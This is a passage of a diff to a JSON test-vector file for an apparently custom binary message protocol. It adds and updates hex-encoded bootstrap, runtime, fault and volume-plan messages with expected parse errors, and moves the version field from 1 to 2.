"574d58310101000004000000120700007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22656974686572222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232222c2233333333333333332d333333332d343333332d383333332d333333333333333333333333222c2234343434343434342d343434342d343434342d383434342d343434343434343434343434225d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-timeout-a-day", + "direction": "down", + "hex": "574d58310101000004000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a38363430303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-up-runtime-ready-resumed", + "direction": "up", + "hex": "574d58310101000006000000b30000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22726573756d65225d7d", + "class": "bootstrap", + "seq": 6 + }, + { + "name": "bootstrap-up-fault-share-inventory", + "direction": "up", + "hex": "574d58310101000009000000970000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273686172655f696e76656e746f7279227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-share-mount-failed", + "direction": "up", + "hex": "574d583101010000090000009a0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273686172655f6d6f756e745f6661696c6564227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-resume-store-missing", + "direction": "up", + "hex": "574d583101010000090000009c0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22726573756d655f73746f72655f6d697373696e67227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-fresh-store-not-empty", + "direction": "up", + "hex": "574d583101010000090000009d0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2266726573685f73746f72655f6e6f745f656d707479227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "runtime-down-file-in-request", + "direction": "down", + "hex": "574d5831010200000300000012000000000400007b226f70223a2273746174227d0a", + "class": "runtime", + "seq": 3 + }, + { + "name": "runtime-down-file-in-end", + "direction": "down", + "hex": "574d583101020000040000000400000000040100", + "class": "runtime", + "seq": 4 + }, + { + "name": "runtime-up-file-out-response", + "direction": "up", + "hex": "574d5831010200000500000010000000000500007b226f6b223a747275657d0a", + "class": "runtime", + "seq": 5 + }, + { + "name": "runtime-up-file-out-end", + "direction": "up", + "hex": "574d583101020000060000000400000000050100", + "class": "runtime", + "seq": 6 } ], "negative": [ @@ -337,7 +442,7 @@ { "name": "plan-travelling-up", "direction": "up", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "error": "unknown_type" }, { @@ -397,19 +502,19 @@ { "name": "plan-protocol-2", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a322c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a322c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "error": "bad_field" }, { "name": "plan-unsorted-nested-keys", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d7d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d7d7d", "error": "malformed" }, { "name": "hello-wrong-serial", "direction": "up", - "hex": "574d583101010000010000008b0000007b2276223a312c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d656e76222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", + "hex": "574d583101010000010000008b0000007b2276223a322c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d656e76222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", "error": "bad_field" }, { @@ -421,409 +526,409 @@ { "name": "conversations-two-host-query-conversations", "direction": "down", - "hex": "574d58310101000001000000040b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a6661